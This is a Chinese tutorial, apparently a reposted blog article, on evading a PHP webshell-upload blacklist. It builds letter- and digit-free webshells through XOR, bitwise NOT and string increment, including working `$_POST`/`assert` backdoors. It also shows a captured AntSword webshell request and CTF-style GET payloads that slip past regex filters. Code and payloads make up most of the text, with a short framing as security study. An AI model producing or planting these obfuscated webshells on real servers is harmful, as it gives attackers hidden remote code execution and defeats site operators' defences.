利用异或、取反、自增bypass_webshell_waf

news2025/1/11 22:43:30

目录

引言

利用异或

介绍

eval与assert

蚁剑连接

进阶题目

利用取反

利用自增


引言

有这样一个waf用于防御我们上传的文件:

function fun($var): bool{
    $blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];
 
    foreach($blacklist as $blackword){
        if(strstr($var, $blackword)) return True;
    }
 
    
    return False;
}

过滤了很多命令,比如$_,这里的$_、^、~、等就是今天我们bypas_webshell_waf的几个技巧

利用异或

介绍

举一个例子:我们可以构造出下面的一个形式的代码:

<?php
    echo "A"^"`";
?>

可以看到这里的结果是!

之所以会得到这样的结果,是因为代码中对字符"A"和字符"`"进行了异或操作。

在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。

上面这个例子中:

A的ASCII值是65,对应的二进制值是0100 0001

`的ASCII值是96,对应的二进制值是 0110 0000

根据异或运算符的规则:相同为0,不同为1,我们可以计算出异或的二进制的值是00100001,对应的ASCII值是33,对应的字符串的值就是!了

我们都知道,PHP是弱类型的语言,也就是说在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点,我们对PHP的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作,如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理,下面我们来看一段代码:

<?php
    function B(){
        echo "Hello Angel_Kitty";
    }
    $_++;
    $__= "?" ^ "}";
    $__();
?>

$_++;这行代码的意思是对变量名为"_"的变量进行自增操作,在PHP中未定义的变量默认值为null,null==false==0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。

$__="?" ^ "}";对字符"?"和"}"进行异或运算,得到结果B赋给变量名为"__"(两个下划线)的变量 $ __ ();

通过上面的赋值操作,变量$__的值为B,所以这行可以看作是B(),在PHP中,这行代码表示调用函数B,所以执行结果为Hello Angel_Kitty。

注:在PHP中,我们可以将字符串当作函数来处理。

那么我们是不是就可以利用这种方式尝试构造出一个无字母,数字的webshell后门呢?

比如可以构造这样一段代码:

<?php
$_++;// $_ = 1
$__=("#"^"|");// $__ = _
$__.=("."^"~");// _P
$__.=("/"^"`");// _PO
$__.=("|"^"/");// _POS
$__.=("{"^"/");// _POST 
${$__}[!$_](${$__}[$_]);// $_POST[0]($_POST[1]);
?>

eval与assert

我们可以在浏览器访问一下:

先给0传入一个eval,然后给1传入phpinfo();看是否可以解析

很明显这里没有解析

试着将eval修改为assert再尝试:

这里就解析成功,那为什么eval不能执行,但是assert可以执行呢?

答案就是因为:

  • 因为eval是一个语言构造器而不是一个函数,不能被 可变函数 调用。

  • 而我们使用assert则可以成功,因为assert在php中被认为是一个函数

蚁剑连接

既然使用assert可以正常执行,那么来试试是否可以利用蚁剑来进行连接:

但是我们测试连接时却爆出了返回数据为空的警告

1提交的$POST['nanjing'],我们本意是为了执行assert($POST['nanjing'])

而我们中国蚁剑也同时post了nanjing这个数据为%40ini_set之类的数据,而我们又必须清楚一点,我们的eval函数中参数是字符,assert函数中参数为表达式 (或者为函数)

 那我们可以尝试抓包访问一下:

这是抓包内容,执行的是我们的字符串,所以执行失败

POST /test6.php HTTP/1.1
Host: 127.0.0.1:80
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/29.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 1050
Connection: close
​
0=assert&1=%24_POST%5B'nanjing'%5D&nanjing=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22c93609%22.%22c3f3a1%22%3Becho%20%40asenc(%24output)%3Becho%20%2250b55%22.%220267c%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B

那我们直接在密码处输入0=assert&1试着连接一下:

为什么我们直接在蚁剑密码处输入0=assert&1,不进行编码的时候,还是会执行失败呢,原因和上文一致

0=assert&1=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%220501%22.%2286a5%22%3Becho%20%40asenc(%24output)%3Becho%20%22bb%22.%220bf%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B

那我们再尝试使用编码连接一下: 

为什么我们执行了base64又成功了链接了呢

因为我们多了一个eval函数,实质上我们是在执行assert(eval()),所以是可以执行的。

  • assert('adsadasdsadasdasdsa') 里面只有字符串
  • assert(eval(base64dddddd)); 里面有eval函数

其本质还是assert(eval()),所以还是可以执行

进阶题目

现在如果有这样一道题目:

1.php

<?php 
include "2.php";
if(isset($_GET['code'])){ 
   $code=$_GET['code']; 
   if(strlen($code)>50){ 
       die("Too Long."); 
  } 
   if(preg_match("/[A-Za-z0-9]+/",$code)){ 
       die("Not Allowed."); 
  } 
   @eval($code); 
}else{ 
   highlight_file(__FILE__); 
} 
?>

2.php:

<?php
function getFlag()
{
    echo "i love security";
}

我们可以构造出这样一个payload:

payload:

?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag

尝试在浏览器中访问一下:

可以看到成功的访问了

利用取反

上面的题目我们也可以利取反来进行绕过:

我们可以看一下getFlag的~(取反)的结果是什么

<?php
$a = "getFlag";
echo urlencode(~$a);

 

利用这种方法绕过:

payload2:

?code=$_=~%98%9A%8B%B9%93%9E%98;$_();

 可以看到这里也成功了!

还可以这样利用取反:

$____='';
$___="瞰";
$____.=~($___{$_});  //a
$___="和";
$____.=~($___{$__});  //s
$___="和";
$____.=~($___{$__});  //s
$___="的";
$____.=~($___{$_});   //e
$___="半";
$____.=~($___{$_});   //r
$___="始";
$____.=~($___{$__});  //t
echo $____;
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

echo $_____;

可以看到最后的打印结果是:assert_POST,如果我们传入这样的webshell,就可以实现无字母,数字实现webshell了 

利用自增

在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。

例如,在 Perl 中 $a = 'Z'; $a++; 将把 $a 变成'AA',而在 C 中,a = 'Z'; a++; 将把 a 变成 '['('Z' 的 ASCII 值是 90,'[' 的 ASCII 值是 91)。

注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化。

也就是说,'a'++ => 'b','b'++ => 'c'... 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

那么,如何拿到一个值为字符串'a'的变量呢?

数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array

可以使用这样的方式取出Array[0]

<?php
$_=[];
$_=@"$_"; // $_='Array';
echo $_;
$_=$_['!'=='@']; // $_=$_[0];

以上代码可以取出Array的第一个字符'A'

然后再构造出ASSERT

$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

然后再构造出POST

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

最后组合在一起:

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

我们可以在浏览器中测试一下:

可以看到我们给_中传入phpinfo可以成功的执行! 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1274798.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

vue3动态加载音频文件,用于不同场景加载不同的文件

本文主要介绍如何在vue3中动态加载音频文件。 目录 前言静态加载动态加载import函数watch函数使用watch函数和import函数动态加载音频文件 前言 在vue3中&#xff0c;我们通常使用import xxx from xxxxxx来加载文件&#xff0c;但是如果我们需要加载哪些文件&#xff0c;是需要…

如何使用住宅IP配置 Postman

Postman是一个用于方便进行网站测试的HTTP客户端。通过它&#xff0c;用户可以配置不同复杂度的HTTP请求&#xff0c;并将它们保存在数据库中以便将来重复使用。你可以连接代理到Postman&#xff0c;使其在进行测试时变得匿名和更安全。下面将详细说明如何在这个程序中配置代理…

RS-232串口芯片静电保护TVS管选择

RS-232串口芯片静电保护TVS管选择 RS-232接口是现在主流的串行通信接口之一&#xff0c;符合美国电子工业联盟制定的串行数据通信的接口标准&#xff0c;原始编号全称为EIA-RS-232&#xff08;简称232和RS-232&#xff09;&#xff0c;广泛应用于计算机串行接口外设连接&#…

Pytorch-gpu环境篇

最最最头疼的就是配环境了 包之间的版本匹配问题 INSTALLING PREVIOUS VERSIONS OF PYTORCH 要考虑到pytorch和torchvision之间的匹配关系 显卡版本匹配问题

AI知识库:智能化的知识管理

随着人工智能技术的不断发展&#xff0c;越来越多的企业开始关注如何利用AI技术提升业务运营效率。其中&#xff0c;AI知识库作为一种智能化的知识管理工具&#xff0c;已经在各行各业得到了广泛的应用。接下来就探讨一下AI知识库是如何帮助企业实现智能化知识管理的。 | 一、A…

【Linux】快速上手自动化构建工具make/makefile

&#x1f440;樊梓慕&#xff1a;个人主页 &#x1f3a5;个人专栏&#xff1a;《C语言》《数据结构》《蓝桥杯试题》《LeetCode刷题笔记》《实训项目》《C》《Linux》 &#x1f31d;每一个不曾起舞的日子&#xff0c;都是对生命的辜负 目录 前言 1.什么是make / makefile 2…

【Windows】内网穿透实现hMailServer远程发送邮件

目录 前言1. 安装hMailServer2. 设置hMailServer3. 客户端安装添加账号4. 测试发送邮件5. 安装cpolar6. 创建公网地址7. 测试远程发送邮件8. 固定连接公网地址9. 测试固定远程地址发送邮件 前言 hMailServer 是一个邮件服务器,通过它我们可以搭建自己的邮件服务,通过cpolar内网…

window环境同时安装python2和python3

背景 在日常环境中&#xff0c;有时候要用到python2写的代码要用Python2执行&#xff0c;有时候python3的代码要用到python3执行.很多人需要同时让Python2和python3的命令都可以用。方便切换环境。 需求 有一些项目需要Python2环境。用的时候就使用 python2 .\1.py 有一些项…

人工智能原理复习--确定性推理

文章目录 上一篇推理概述自然演绎推理合适公式 归结演绎推理归结原理归结反演 提升归结效率下一篇 上一篇 人工智能原理复习–知识表示&#xff08;二&#xff09; 推理概述 推理就是按某种策略由已知判断推出另一判断的思维过程 分类&#xff1a; 演绎推理、归纳推理、默…

单页应用的架构与设计:打造高效可扩展的 Web 应用(上)

&#x1f90d; 前端开发工程师&#xff08;主业&#xff09;、技术博主&#xff08;副业&#xff09;、已过CET6 &#x1f368; 阿珊和她的猫_CSDN个人主页 &#x1f560; 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 &#x1f35a; 蓝桥云课签约作者、已在蓝桥云…

『运行心得』机柜断电事件的排除与解决

本文描述了一起机房机柜断电事件引发的故障排除和解决过程。 当办公楼机房发生断电后&#xff0c;经过排查发现可能是空气开关短路导致。尽管重新合上空气开关后设备恢复正常&#xff0c;但断电事件再次发生&#xff0c;电工怀疑空气开关老化导致电路故障&#xff0c;并将电源…

python 实现链表

链表基础知识 链表是在物理内存中不连续&#xff0c;数据通过链表中的指针来链接到下一个元素。 链表由一系列节点组成&#xff0c;节点在运行时动态生成&#xff0c;节点一般包括两个部分&#xff1a;存储数据的数据域&#xff0c;存储下一个节点的指针域 链表的常用操作&a…

使用Docker安装部署Swagger Editor并远程访问编辑API文档

文章目录 Swagger Editor本地接口文档公网远程访问1. 部署Swagger Editor2. Linux安装Cpolar3. 配置Swagger Editor公网地址4. 远程访问Swagger Editor5. 固定Swagger Editor公网地址 Swagger Editor本地接口文档公网远程访问 Swagger Editor是一个用于编写OpenAPI规范的开源编…

基于pyltp的依存句法分析

代码是两年多前网上找的&#xff0c;能运行。先记在这里&#xff0c;以防以后用到 import os from pyltp import Segmentor, Postagger, Parser, NamedEntityRecognizer, SementicRoleLabeller # pip install pyltp -i https://pypi.tuna.tsinghua.edu.cn/simple 可以先下载好…

Shopee买家通系统,智能下单新体验

Shopee买家通系统带来了一场智能下单的革命&#xff0c;为用户提供了更便捷的购物体验。通过简单的准备工作&#xff0c;您即可使用该系统完成自动下单&#xff0c;省去繁琐步骤&#xff0c;轻松实现购物愉悦。 账号准备&#xff0c;注册无忧 首先&#xff0c;准备一个具备下单…

C++的编译链接

文章目录 1、前置条件2、预处理/预编译2、编译3、汇编5、链接 1、前置条件 # 操作系统版本 cat /proc/version Linux version 3.10.0-1160.95.1.el7.x86_64 (mockbuildkbuilder.bsys.centos.org) (gcc version 4.8.5 20150623 (Red Hat 4.8.5-44) (GCC) ) #1 SMP Mon Jul 24 …

iOS 开发高效率工具包:10 大必备工具

​ 作为 iOS 开发人员&#xff0c;拥有合适的工具可以极大地提高您的工作效率和工作质量。无论您是刚刚起步还是已经开发 iOS 应用程序多年&#xff0c;以下是每个 iOS 开发人员都应该了解的 10 大必备工具。 让我们开始 Xcode Xcode 是用于 iOS 开发的官方 IDE&#xff08;…

JavaScript中的for循环你用对了吗?

​&#x1f308;个人主页&#xff1a;前端青山 &#x1f525;系列专栏&#xff1a;JavaScript篇 &#x1f516;人终将被年少不可得之物困其一生 依旧青山,本期给大家带来JavaScript篇专栏内容:JavaScript-for循环 目录 循环结构 循环思想&#xff08;三要素&#xff09; 实现…

ElasticSearch知识体系详解

1.介绍 ElasticSearch是基于Lucene的开源搜索及分析引擎&#xff0c;使用Java语言开发的搜索引擎库类&#xff0c;并作为Apache许可条款下的开放源码发布&#xff0c;是当前流行的企业级搜索引擎。 它可以被下面这样准确的形容&#xff1a; 一个分布式的实时文档存储&#xf…

CSS特效023:文字聚光灯效果

CSS常用示例100专栏目录 本专栏记录的是经常使用的CSS示例与技巧&#xff0c;主要包含CSS布局&#xff0c;CSS特效&#xff0c;CSS花边信息三部分内容。其中CSS布局主要是列出一些常用的CSS布局信息点&#xff0c;CSS特效主要是一些动画示例&#xff0c;CSS花边是描述了一些CSS…